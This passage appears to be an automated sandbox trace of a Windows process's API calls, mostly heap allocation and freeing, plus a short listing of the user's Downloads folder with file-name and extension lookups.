[0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.282] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.282] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.283] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.283] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.284] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.284] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.285] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.285] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.286] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.286] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0117.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0117.287] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.287] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.287] PathFindFileNameW (pszPath="") returned="" [0117.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.287] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.287] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.287] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.287] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e) returned 0x3883e18 [0117.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.287] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0117.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0117.287] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0117.287] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.287] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.287] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.288] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.288] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f5210 [0117.288] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.289] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.289] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb338 | out: hHeap=0xd10000) returned 1 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0117.290] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.290] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.290] HeapFree 